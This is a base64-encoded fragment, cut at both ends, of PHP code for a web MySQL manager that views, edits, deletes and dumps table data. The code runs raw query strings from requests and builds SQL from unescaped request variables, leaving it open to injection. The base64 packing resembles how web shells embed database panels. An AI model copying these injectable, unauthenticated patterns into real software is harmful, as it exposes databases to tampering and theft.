15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0
ciAsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF
9lcnJvcigpOw0KDQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5j
dGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbC
AkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJs
ZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3
dwZXJwYWdlLCAkb3JkZXJieTsNCg0KCWVjaG8gIjxoMT5EYXRh
IGluIFRhYmxlPC9oMT5cbiI7DQoJaWYoICR0YWJsZW5hbWUgIT
0gIiIgKQ0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJu
YW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoJZWxzZQ0KCQ
llY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lPC9wPlxu
IjsNCg0KCSRxdWVyeVN0ciA9IHN0cmlwc2xhc2hlcyggJHF1ZX
J5U3RyICk7DQoJaWYoICRxdWVyeVN0ciA9PSAiIiApIHsNCgkJ
JHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZS
I7DQoJCWlmKCAkb3JkZXJieSAhPSAiIiApDQoJCQkkcXVlcnlT
dHIgLj0gIiBPUkRFUiBCWSAkb3JkZXJieSI7DQoJCWVjaG8gIj
xhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5h
bWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIE
RhdGE8L2E+IHwgXG4iOw0KCQllY2hvICI8YSBocmVmPSckUEhQ
X1NFTEY/YWN0aW9uPXZpZXdTY2hlbWEmZGJuYW1lPSRkYm5hbW
UmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlNjaGVtYTwvYT5cbiI7
DQoJfQ0KDQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJG
RibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3Fs
X2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID
0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vy
cm9yKCk7DQoNCgkkR0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcn
lTdHI7DQoNCglpZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7DQoJ
CWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCW
lmKCAkcFJlc3VsdCA9PSAxICkgew0KCQkkZXJyTXNnID0gIlN1
Y2Nlc3MiOw0KCQllY2hvUXVlcnlSZXN1bHQoKTsNCgkJcmV0dX
JuOw0KCX0NCg0KCWVjaG8gIjxocj5cbiI7DQoNCgkkcm93ID0g
bXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJJGNvbCA9IG
15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoNCglpZigg
JHJvdyA9PSAwICkgew0KCQllY2hvICJObyBEYXRhIEV4aXN0IS
I7DQoJCXJldHVybjsNCgl9DQoJDQoJaWYoICRyb3dwZXJwYWdl
ID09ICIiICkgJHJvd3BlcnBhZ2UgPSAzMDsNCglpZiggJHBhZ2
UgPT0gIiIgKSAkcGFnZSA9IDA7DQoJZWxzZSAkcGFnZS0tOw0K
CW15c3FsX2RhdGFfc2VlayggJHBSZXN1bHQsICRwYWdlICogJH
Jvd3BlcnBhZ2UgKTsNCg0KCWVjaG8gIjx0YWJsZSBjZWxsc3Bh
Y2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj
5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyAp
IHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUm
VzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFj
dGlvbiA9PSAidmlld0RhdGEiKQ0KCQkJZWNobyAiPGEgaHJlZj
0nJFBIUF9TRUxGP2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRi
bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZvcmRlcmJ5PSIuJG
ZpZWxkLT5uYW1lLiInPiIuJGZpZWxkLT5uYW1lLiI8L2E+XG4i
Ow0KCQllbHNlDQoJCQllY2hvICI8Zm9udAlzdHlsZT0ndGV4dC
1kZWNvcmF0aW9uOm5vbmU7Y29sb3I6IzAwMDAwMDtmb250LXNp
emU6eC1zbWFsbDsnPiIuJGZpZWxkLT5uYW1lLiI8L2ZvbnQ+XG
4iOw0KCQllY2hvICI8L3RoPlxuIjsNCgl9DQoJZWNobyAiPHRo
IGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3
RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJw
YWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZX
RjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkg
PT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCg
kJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29s
OyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw
0KDQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBS
ZXN1bHQsICRqICk7DQoJCQlpZiggJGZpZWxkLT5wcmltYXJ5X2
tleSA9PSAxICkNCgkJCQkka2V5IC49ICImIiAuICRmaWVsZC0+
bmFtZSAuICI9IiAuICRkYXRhOw0KDQoJCQlpZiggc3RybGVuKC
AkZGF0YSApID4gMzAgKQ0KCQkJCSRkYXRhID0gc3Vic3RyKCAk
ZGF0YSwgMCwgMzAgKSAuICIuLi4iOw0KCQkJJGRhdGEgPSBodG
1sc3BlY2lhbGNoYXJzKCAkZGF0YSApOw0KCQkJZWNobyAiPHRk
PlxuIjsNCgkJCWVjaG8gIiRkYXRhXG4iOw0KCQkJZWNobyAiPC
90ZD5cbiI7DQoJCX0NCgkJIA0KCQlpZiggJGtleSA9PSAiIiAp
DQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG
4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSck
UEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JG
RibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48
L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1
NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicm
V0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8
L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQ
oJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KDQoJZWNobyAiPGZv
bnQgc2l6ZT0yPlxuIjsNCglpZigkYWN0aW9uID09ICJ2aWV3RG
F0YSIpDQoJCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxG
P2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW
5hbWU9JHRhYmxlbmFtZScgbWV0aG9kPXBvc3Q+XG4iOw0KCWVs
c2UNCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YW
N0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0k
dGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicgbWV0aG9kPX
Bvc3Q+XG4iOw0KCWVjaG8gIjxmb250IGNvbG9yPWdyZWVuPlxu
IjsNCgllY2hvICgkcGFnZSsxKS4iLyIuKGludCkoJHJvdy8kcm
93cGVycGFnZSsxKS4iIHBhZ2UiOw0KCWVjaG8gIjwvZm9udD5c
biI7DQoJZWNobyAiIHwgIjsNCglpZiggJHBhZ2UgPiAwICkgew
0KCQlpZigkYWN0aW9uID09ICJ2aWV3RGF0YSIpDQoJCQllY2hv
ICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXZpZXdEYXRhJm
RibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBh
Z2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocm
VmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdW
VyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5
ICE9ICIiICYmICRhY3Rpb24gPT0gInZpZXdEYXRhIikNCgkJCW
VjaG8gIiZvcmRlcmJ5PSRvcmRlcmJ5IjsNCgkJZWNobyAiJz5Q
cmV2PC9hPlxuIjsNCgl9IGVsc2UNCgkJZWNobyAiUHJldiI7DQ
oJZWNobyAiIHwgIjsNCglpZiggJHBhZ2UgPCAoJHJvdy8kcm93
cGVycGFnZSktMSApIHsNCgkJaWYoJGFjdGlvbiA9PSAidmlld0
RhdGEiKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2Fj
dGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbW
U9JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIpOw0KCQllbHNl
DQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPX
F1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVu
YW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKz
IpOw0KCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9
PSAidmlld0RhdGEiKQ0KCQkJZWNobyAiJm9yZGVyYnk9JG9yZG
VyYnkiOw0KCQllY2hvICInPk5leHQ8L2E+XG4iOw0KCX0gZWxz
ZQ0KCQllY2hvICJOZXh0IjsNCgllY2hvICIgfCAiOw0KCWlmKC
Akcm93ID4gJHJvd3BlcnBhZ2UgKSB7DQoJCWVjaG8gIjxpbnB1
dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9cGFnZT5cbiI7DQoJCW
VjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nR28nPlxu
IjsNCgl9DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2
ZvbnQ+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhKCAk
Y21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbW
UsICR0YWJsZW5hbWUsICRQSFBfU0VMRjsNCg0KCWlmKCAkY21k
ID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT
5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJ
CWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZX
N1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRh
YmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcy
ggJHBSZXN1bHQgKTsNCgkNCgkJJGtleSA9ICIiOw0KCQlmb3Io
ICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZW
xkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSAp
Ow0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQ
oJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJ
JGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1
skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJ
CQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE
9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0K
CQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleS
ktNCApOw0KDQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwg
JG15c3FsSGFuZGxlICk7DQoJCSRwUmVzdWx0ID0gbXlzcWxfcX
VlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFi
bGVuYW1lIFdIRVJFICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsNCg
kJJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQg
KTsNCgl9DQoNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZG
JuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoNCgllY2hv
ICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3
Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAi
PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPW
FkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09
ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbi
BuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4i
Ow0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibm
FtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQg
dHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYm
xlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5n
PTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIj
sNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0
aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC
90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgll
Y2hvICI8L3RyPlxuIjsNCg0KCSRwUmVzdWx0ID0gbXlzcWxfZG
JfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0
YWJsZW5hbWUiICk7DQoJJG51bSA9IG15c3FsX251bV9yb3dzKC
AkcFJlc3VsdCApOw0KDQoJJHBSZXN1bHRMZW4gPSBteXNxbF9s
aXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KDQ
oJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJ
JGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0IC
k7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJ
CSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbi
A9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7
DQoNCgkJZWNobyAiPHRyPiI7DQoJCWVjaG8gIjx0ZD4kZmllbG
RuYW1lPC90ZD4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5
cGUiXS4iPC90ZD4iOw0KCQllY2hvICI8dGQ+XG4iOw0KCQllY2
hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9u
PlxuIjsNCgkJZWNobyAiPG9wdGlvbj5cbiI7DQoJCWVjaG8gIj
xvcHRpb24+QVNDSUlcbiI7DQoJCWVjaG8gIjxvcHRpb24+Q0hB
UlxuIjsNCgkJZWNobyAiPG9wdGlvbj5TT1VOREVYXG4iOw0KCQ
llY2hvICI8b3B0aW9uPkNVUkRBVEVcbiI7DQoJCWVjaG8gIjxv
cHRpb24+Q1VSVElNRVxuIjsNCgkJZWNobyAiPG9wdGlvbj5GUk
9NX0RBWVNcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9VTklY
VElNRVxuIjsNCgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7DQoJCW
VjaG8gIjxvcHRpb24+UEFTU1dPUkRcbiI7DQoJCWVjaG8gIjxv
cHRpb24+UEVSSU9EX0FERFxuIjsNCgkJZWNobyAiPG9wdGlvbj
5QRVJJT0RfRElGRlxuIjsNCgkJZWNobyAiPG9wdGlvbj5UT19E
QVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPlVTRVJcbiI7DQoJCW
VjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsNCgkJZWNobyAiPG9w
dGlvbj5SQU5EXG4iOw0KCQllY2hvICI8L3NlbGVjdD5cbiI7DQ
oJCWVjaG8gIjwvdGQ+XG4iOw0KCQkkdmFsdWUgPSBodG1sc3Bl
Y2lhbGNoYXJzKCRkYXRhWyRpXSk7DQoJCWlmKCAkY21kID09IC
JhZGQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5
cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW
0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0
ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQ
kJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsN
CgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCW
VjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBt
dWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2
soICInIiApICkgew0KCQkJCQllY2hvICI8b3B0aW9uPiRzdHJc
biI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCW
VjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxu
IjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQ
oJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9
NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdG
Q+XG4iOw0KCQkJCWVsc2UNCgkJCQkJZWNobyAiPHRkPjx0ZXh0
YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW
1lPSRmaWVsZG5hbWU+PC90ZXh0YXJlYT5cbiI7DQoJCQl9DQoJ
CX0gZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCQkkdH
lwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsN
CgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gIn
NldCIgKSB7DQoJCQkJZWNobyAiPHRkPlxuIjsNCgkJCQlpZigg
JHR5cGUgPT0gImVudW0iICkNCgkJCQkJZWNobyAiPHNlbGVjdC
BuYW1lPSRmaWVsZG5hbWU+XG4iOw0KCQkJCWVsc2UgaWYoICR0
eXBlID09ICJzZXQiICkNCgkJCQkJZWNobyAiPHNlbGVjdCBuYW
1lPSRmaWVsZG5hbWUgc2l6ZT00IG11bHRpcGxlPlxuIjsNCgkJ
CQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7DQoJCQ
kJCWlmKCAkdmFsdWUgPT0gJHN0ciApDQoJCQkJCQllY2hvICI8
b3B0aW9uIHNlbGVjdGVkPiRzdHJcbiI7DQoJCQkJCWVsc2UNCg
kJCQkJCWVjaG8gIjxvcHRpb24+JHN0clxuIjsNCgkJCQkJc3Ry
dG9rKCAiJyIgKTsNCgkJCQl9DQoJCQkJZWNobyAiPC9zZWxlY3
Q+XG4iOw0KCQkJCWVjaG8gIjwvdGQ+XG4iOw0KCQkJfSBlbHNl
IHsNCgkJCQlpZiggJGxlbiA8IDQwICkNCgkJCQkJZWNobyAiPH
RkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00MCBtYXhsZW5ndGg9
JGxlbiBuYW1lPSRmaWVsZG5hbWUgdmFsdWU9XCIkdmFsdWVcIj
48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48
dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW
4gbmFtZT0kZmllbGRuYW1lPiR2YWx1ZTwvdGV4dGFyZWE+XG4i
Ow0KCQkJfQ0KCQl9DQoJCWVjaG8gIjwvdHI+IjsNCgl9DQoJZW
NobyAiPC90YWJsZT48cD5cbiI7DQoJaWYoICRjbWQgPT0gImFk
ZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdW
U9J0FkZCBEYXRhJz5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAi
ZWRpdCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdm
FsdWU9J0VkaXQgRGF0YSc+XG4iOw0KCWVjaG8gIjxpbnB1dCB0
eXBlPWJ1dHRvbiB2YWx1ZT0nQ2FuY2VsJyBvbkNsaWNrPSdoaX
N0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7
DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAkY2
1kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUs
ICR0YWJsZW5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRiwgJH
F1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJJHBSZXN1bHQgPSBteXNx
bF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw
0KCSRudW0gPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCAp
Ow0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcW
xIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRx
dWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTF
VFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJ
CSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZS
BWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0x
OyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maW
VsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1sk
ZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bm
MgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsN
CgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJH
F1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJ
CQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPS
AiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7
DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJE
dMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAh
PSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZW
xzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0K
CSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdC
ApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRx
dWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIi
kiOw0KCWVsc2UgDQoJCSRxdWVyeVN0ciAuPSAiJyIgLiAkR0xP
QkFMU1skZmllbGQtPm5hbWVdIC4gIicpIjsNCg0KCW15c3FsX3
F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkk
ZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCXZpZXdEYXRhKC
AiIiApOw0KfQ0KDQpmdW5jdGlvbiBkZWxldGVEYXRhKCkgew0K
CWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW
5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3Ry
LCAkZXJyTXNnOw0KDQoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2
ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCSRudW0g
PSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KDQoJJG
tleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRp
KysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKC
AkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFy
eV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID
09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0i
IC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQ
oJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAi
PSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORC
AiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJs
ZW4oJGtleSktNCApOw0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZG
JuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCgkkcXVlcnlTdHIgPSAg
IkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJGtleSI7DQ
oJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxl
ICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoNCgl2aW
V3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZmV0Y2hfdGFi
bGVfZHVtcF9zcWwoJHRhYmxlKQ0Kew0KCWdsb2JhbCAkbXlzcW
xIYW5kbGUsJGRibmFtZTsNCgkNCglteXNxbF9zZWxlY3RfZGIo
ICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCSRxdWVyeV9pZC
A9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdGFi
bGUiLCRteXNxbEhhbmRsZSk7DQoJJHRhYmxlZHVtcCA9IG15c3
FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0Mp
Ow0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVF
MgJHRhYmxlO1xuIiAuICR0YWJsZWR1bXBbJ0NyZWF0ZSBUYWJs
ZSddIC4gIjtcblxuIjsNCg0KCWVjaG8gJHRhYmxlZHVtcDsNCg
0KCS8vIGdldCBkYXRhDQoJJHJvd3MgPSBteXNxbF9xdWVyeSgi
U0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNxbEhhbmRsZSk7DQ
oJJG51bWZpZWxkcz1teXNxbF9udW1fZmllbGRzKCRyb3dzKTsN
Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3
dzLCBNWVNRTF9OVU0pKQ0KCXsNCgkJJHRhYmxlZHVtcCA9ICJJ
TlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZW
xkY291bnRlciA9IC0xOw0KCQkkZmlyc3RmaWVsZCA9IDE7DQoJ
CS8vIGdldCBlYWNoIGZpZWxkJ3MgZGF0YQ0KCQl3aGlsZSAoKy
skZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykNCgkJew0KCQkJ
aWYgKCEkZmlyc3RmaWVsZCkNCgkJCXsNCgkJCQkkdGFibGVkdW
1wIC49ICcsICc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJ
JGZpcnN0ZmllbGQgPSAwOw0KCQkJfQ0KDQoJCQlpZiAoIWlzc2
V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJ
JHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQ
oJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9l
